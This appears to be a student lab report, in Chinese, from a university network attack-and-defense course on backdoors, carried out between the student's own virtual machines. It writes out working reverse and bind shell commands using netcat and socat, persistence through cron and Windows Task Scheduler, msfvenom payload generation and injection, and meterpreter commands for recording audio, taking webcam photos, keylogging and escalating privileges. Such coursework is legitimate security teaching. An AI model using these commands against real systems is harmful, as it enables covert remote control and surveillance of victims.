2018-2019 2 20165203 《網絡對抗技術》 Exp2 後門原理與實踐

2018-2019 2 20165203 《網絡對抗技術》 Exp2 後門原理與實踐

實驗內容

1.使用netcat獲取主機操做Shell,cron啓動 (0.5分)html

2.使用socat獲取主機操做Shell, 任務計劃啓動 (0.5分)linux

3.使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell(0.5分)git

4.使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權 (2分)web

5.可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell(1分)加份內容一併寫入本實驗報告shell

基礎知識問答

問題1:例舉你能想到的一個後門進入到你係統中的可能方式?windows

  • 好比,我想在網上下載一個軟件,軟件的安裝包可能帶有後門程序,或者個人Win10系統有的漏洞尚未補丁,攻擊者可能會利用漏洞來攻擊,將後門程序注入到個人主機系統。

問題2:例舉你知道的後門如何啓動起來(win及linux)的方式?網絡

  • windows系統上有一個定時任務,後門程序能夠經過定時任務運行
  • 或者經過各類信息,誘惑用戶點擊運行(例如點擊便可降價打折等等)

問題3:Meterpreter有哪些給你映像深入的功能?tcp

哇,既然提到這個問題,Meterpreter真的是細思極恐工具

  • 首先,可以開啓靶機的攝像頭,這真是太可怕了,真的會侵犯到我的的隱私;
  • 更可怕的是可以記錄按鍵過程,若是電腦上有什麼重要文件,那豈不是就很容易被竊取了,嘖嘖嘖,So scareful!
  • 還有一點,提高用戶權限!

問題4:如何發現本身有系統有沒有被安裝後門?學習

老實說,我作本次實驗的殺毒軟件都是關閉狀態,由於在作第一遍實驗時,注入到win10的socat.exebackdoor程序很快就被發現了,因此,平時仍是打開殺毒軟件比較好。

實驗知識儲備

經常使用的後門工具

  • 後門:不通過正常認證流程而訪問系統的通道。
  • 後門的位置:
    • 編譯器
    • 操做系統
    • 應用程序(最多見)
    • 潛伏於操做系統中或假裝爲特定應用的專用後門程序
  • 通俗說法:後門特指潛伏於操做系統中專門做爲後門的一個程序;壞人能夠鏈接這個程序;經過該程序能夠遠程執行各類指令;概念上和木馬上有重疊

那麼,壞人一般如何經過後門進入系統呢?

  • 首先,有能夠充當後門的程序,例如
    • netcat系列
    • meterpreter系列
    • intersect系列
  • 而後將後門程序,放在要攻擊靶機的系統裏,固然這就要有些手段了,一般有
    • 正版軟件故意被攻擊,包含後門
    • 正版庫文件中包含後門
    • 誘騙你下載操做的,好比
      • 安裝包包含後門程序
      • 網上下載的特定文件包含後門文件
      • 甚至直接悄無聲息地發送惡意程序或釣魚連接給你
      • 本身貪圖便宜,撿了個U盤,就用了,這裏面可能包含後門程序。
      • 壞人攻擊系統的漏洞,得到控制權,安裝後門
  • 而後還得運行起來,一般手段也有不少
    • 開機自動啓動技術(電腦開機時,後門程序也就啓動了)
    • win的定時任務(設置每一個時間段的固定時候,後門程序就啓動了)
    • Linux中的cron
    • 後門程序假裝成經常使用軟件,誘惑用戶點擊,一點擊,後門程序就運行了。
  • 後門程序固然靶機要檢測,因此,後門程序還要作到不被靶機的惡意代碼檢測程序發現,一般用到的技術有:
    • 反彈式鏈接
    • 加密鏈接
    • 隧道技術

說了這麼多,咱們經常使用的後門程序有哪些呢,也就是咱們實驗所使用的後門程序又有那些呢?

  • netcat
    • 底層工具,進行基本的TCP和UDP數據收發
    • 常與其餘工具結合使用,起到了後門的做用。
    • Linux通常自帶netcat,一般用做nc,可經過man netcatman nc可查看說明。

下面咱們就來嘗試一下如何使用netcatnc吧。

嘗試一 用nc或netcat得到遠程主機的Shell(win7攻擊Linux)

在這裏Windows系統我選擇win7,Linux系統我選擇win10。

  1. 首先,利用ipconfig查看windows的主機IP,如圖所示,個人主機IP爲192.168.154.139

  2. 下載好ncat,進入目錄,按windows + R組合鍵打開cmd.exe,輸入ncat.exe -l -p 5203來監聽5203端口,如圖所示。

  3. 此時,在Linux中,讓Linux反彈鏈接win7,輸入命令nc 192.168.154.139 -e /bin/sh,如圖所示。(該IP爲win的IP)

  4. 接下來,咱們能夠發現,咱們在windows端成功得到了Linux端的shell終端。

嘗試二 Linux得到windows終端(Linux攻擊windows)

  1. 首先,咱們用ipconfig得到Linux的ip地址,ip爲192.168.154.143。如圖所示。

  2. 隨後,Linux經過輸入命令ns -l -p 5203

  3. Windows反彈鏈接Linux,在Windows終端下的ncat目錄,輸入ncat.exe -e cmd.exe 192.168.154.143,如圖所示。

  4. 這時,咱們就會看到Linux終端下出現了Windows的終端。嘗試一下,能夠查看windows下的文件了。

嘗試三 使用nc傳輸數據

首先,咱們先來了解一下nc傳輸數據的格式:

  • 目的主機監聽:nc -l 監聽端口 > 要接收的文件名
  • 源主機發起請求:nc 目的主機ip 目的端口
  1. 在Windows下發起監聽,一樣用ncat.exe -l -p 5203,如圖所示。

  2. Kali Linux下鏈接經過命令nc 192.168.154.139 5203鏈接到Window7。

  3. 創建鏈接後,就能夠傳輸信息了,如圖所示。

Windows和Linux下傳輸文件。

瞭解cron

  • Cron是Linux下的定時任務,每一分鐘運行一次,根據配置文件執行預設的指令。

瞭解socat

  • socat是ncat的加強版,使用格式是socat <option> <adress> <adress>, 其中兩個 是必選項,而
  • socat的兩個基本功能是創建了兩個雙向的字節流,數據就在其間傳輸,參數 表明了其中的一個數據流向,數據有不少種類型,天然就須要選項參數
  • socat的windows下載路徑爲https://gitee.com/wildlinux/NetSec/attach_files

Meterpreter(根據老師上課所講補充)

後門是一個程序,原本是有人編寫一個程序,你們拿來用,可是有一些厲害的人,想編寫一個平臺能生成後門程序。這個平臺,把後門的

    • 基本功能(基本鏈接、執行指令)
    • 擴展功能(蒐集用戶信息、安裝服務等功能)
    • 編碼格式
    • 運行平臺
    • 運行參數

等所有作成零件或可調整的參數。用的時候按須要的組合,就能夠生成一個可執行文件。

常見的平臺:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

瞭解更多關於Meterpreter平臺的內容,能夠參考https://www.freebuf.com/articles/system/53818.html

根據使用MSF生成的shellcode打造免殺playload,能夠了解到,咱們能夠用msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f c(IP爲windows7的IP)生成shellcode, 注入到可執行文件裏,執行時能夠攻擊主機。

咱們本次實踐就是利用Meterpreter平臺生成一個後門程序,而後攻擊靶機。

實驗過程

任務一 使用netcat獲取主機操做Shell,cron啓動

  1. 在windows系統下,輸入命令ncat.exe -l -p 5203監聽5203端口。

  2. crontab -e完成一條定時任務。

  3. 打開文檔後,在最後一行添加36 * * * * /bin/netcat 192.168.154.139 5203 -e /bin/sh(windows的IP),意思是Kali Linux系統在每一個小時的第36分鐘反向鏈接windows的5203端口:

  4. 當時間爲21:36分時,監聽成功,windows處出現了Kali Linux終端,如圖所示(當我在終端輸出命令的時候,時間已通過了1分鐘,因此,截圖上顯示的時間是21:36分)。

任務二 使用socat獲取主機操做Shell, 任務計劃啓動

本次實驗我選的windows系統是win10系統。我查了一下個人win10主機的ip爲 192.168.1.110 ,如圖所示。

  1. 在win10系統下,右擊左下角windows的圖標,選擇計算機管理。

  2. 任務計劃程序處建立任務,填寫任務名稱(這個名稱是本身取的,個人是xyx)。

  3. 而後點擊觸發器來新建一個觸發器。開始任務選擇工做站鎖定時, 設置範圍爲全部用戶,而後點擊肯定,觸發器就建立完了。

  4. 而後,在操做->程序或腳本中輸入咱們以前下載的socat.exe的路徑,我直接把它放在了C盤----C:\用戶\xiao\socat\socat.exe,在添加參數一欄中添加tcp-listen:5203 exec:cmd.exe,pty,stderr,這個命令的做用是將cmd.exe綁定到端口5203上,同時把cmd.exe的stderr重定向到stdout上

  5. 任務建立完畢後,迅速按Windows+L鎖定計算機,再次打開時,咱們能夠查看到本身的任務,按右鍵,使其啓動,狀態變爲正在運行狀態。

  6. 在Kali Linux環境下輸入命令socat - tcp:192.168.1.110:5203,這裏的第一個參數表明-表明標準的輸入輸出,第二個流鏈接到了windows10主機上的5203端口,此時,能夠發現一個Kali Linux成功得到了一個cmd.exe,這個cmd.exe正是咱們windows10的終端。

任務三 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  1. 在Kali Linux端,咱們輸入msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f exe > 20165203.exe(windows7的IP地址),將生成的shellcode注入到後門程序20165203_backdoor.exe中。

  2. 在Windows中使用ncat.exe -lv 5203 > 20165203_backdoor.exe查看其鏈接狀態,如圖所示狀態爲鏈接正常。

  3. 在Kali Linux中輸入nc 192.168.154.143 < 20165203_backdoor.exe(順序變,箭頭也要變),將20165203_backdoor.exe的後門程序注入到Windows7中。如圖所示,收到Connection的鏈接,說明傳輸成功。

    並查看了本身在ncat文件夾中注入的20165203_backdoor.exe程序,保證大小爲73K,若是爲0K,說明傳輸未成功。

  4. 咱們在Kali Linux的終端上新打開一個終端,輸入msfconsole進入msf控制檯。

  5. 而後,咱們輸入use exploit/multi/handler使用監聽模塊,設置payload

  6. 使用和生成後門程序相同的payload(在第一步那裏),輸入命令set payload windows/meterpreter/reverse_tcp

  7. 使用set LHOST 192.168.154.139(ip爲Kali的IP)來設置payload的IP。

  8. 使用set LPORT 5203來設置payload的端口號。

  9. payload設置完成後,咱們來使用exploit開始監聽。

10.Kali Linux已經開始監聽,此時,咱們回到Windows7終端,退出上一次的命令,執行20165203_back_door.exe,再看Kali Linux的終端,咱們發現Linux得到了遠程控制的Windows的shell。

任務四 使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  1. 接着上個內容,咱們可使用record_mic截獲一段音頻,如圖所示。

  2. 使用webcam_snap可使用攝像頭進行拍照。(由於在晚上作的實驗,穿着睡衣,就不拍本人了,嘻嘻)

  3. 使用screenshot能夠截屏。

  4. 使用keyscan_start指令能夠記錄下鼠標擊鍵的過程,使用keyscan_dump能夠讀取擊鍵的記錄

  5. 使用getuid查看當前用戶,使用getsystem進行提權。

任務五 (可選加分項)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

同窗們都推薦江智宇學姐的博客,經過學習學姐總結的博客,我瞭解到

在關於msfconcole的參數中:

-p 是指定用於特定的payload

然而,咱們須要的payload的功能是獲取反鏈接靶機的shell,學姐的博客中給出了咱們須要的payload是linux/x64/shell_reverse_tcp,

後面,咱們須要的是LHOSTLPORT,而後,咱們還須要-x來指定咱們須要注入的文件,爲/home/20165203/exp2/pwn2.

-f 指定咱們文件的輸出的格式,注入到pwn2中,pwn2是一個可執行文件,因此選elf格式。

因此,咱們的命令格式爲

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.154.147 LPORT=5203 -x /home/20165203/exp2/pwn2 -f elf > pwn2_2

輸入上述命令後,生成被注入shellcode的可執行文件pwn2_2,如圖所示。

以後,咱們能夠將pwn2_2注入到windows7中,調用msfconcole來監聽,步驟與任務三相同了,作好了,就是如圖所示格式啦。

實驗中遇到的問題及解決方法

我遇到的問題零零散散,多數都是由於本身的智障犯下的錯誤,不過,我感受有的問題仍是很值得供你們參考借鑑的。

Q1:使用webcam_snap使用win7攝像頭時,沒法使用,提示141錯誤,如圖所示。

A1:由於win7是在虛擬機中的,因此,咱們要從問題的根本下手。

  • 首先,咱們想到多是win7虛擬機裏壓根兒就沒有攝像頭,由於想攝像頭這樣的USB設備原本就不可能同虛擬機和本機一塊兒使用的,咱們能夠嘗試查看一下win7的設備管理器,如圖進入win7裏面的控制面板,查看設備管理器。咱們能夠看到,裏面根本就沒有
    圖像設備,天然就沒有攝像頭了。

  • 接下來,咱們在虛擬機中設置,把USB端口鏈接到虛擬機上來,如圖所示,要選擇鏈接主機哦。

  • 接下來,咱們在win7中剛纔的設備管理器中查看,就能發現有圖像設備了, 就能夠「偷窺」了,哈哈哈哈。

Q2:昨晚剛作完本次實驗,結果今天打開Kali虛擬機時出現瞭如圖所示問題,媽呀,不會是搞實驗搞出問題了吧。

A2:結果,我發現我昨晚電腦裏的socat.exe還在運行着,佔用着虛擬機,因而,我索性打開電腦裏的任務管理器,將裏面帶有.vm的進程所有關掉,而後再開啓個人電腦管家,殺了一遍毒,Kali得以打開,看來平時仍是要常打開殺毒軟件。

實驗感想與體會

此次實驗真的頗有激情,彷彿本身是個黑客,一步一步,固然是本身攻擊本身,哈哈,當達到攝像頭拍攝的效果時,本身彷彿開啓了新時代的大門,成就感頗升。

感謝這次咱們班課題負責人,也就是咱們寢室長本次實驗的幫助了,咱們能夠搞一個黑客組合了,哈哈。

不過,我以爲能夠在從此的實驗中,嘗試用其餘常見的後門程序來練習,更加熟悉後門原理。

相關文章
相關標籤/搜索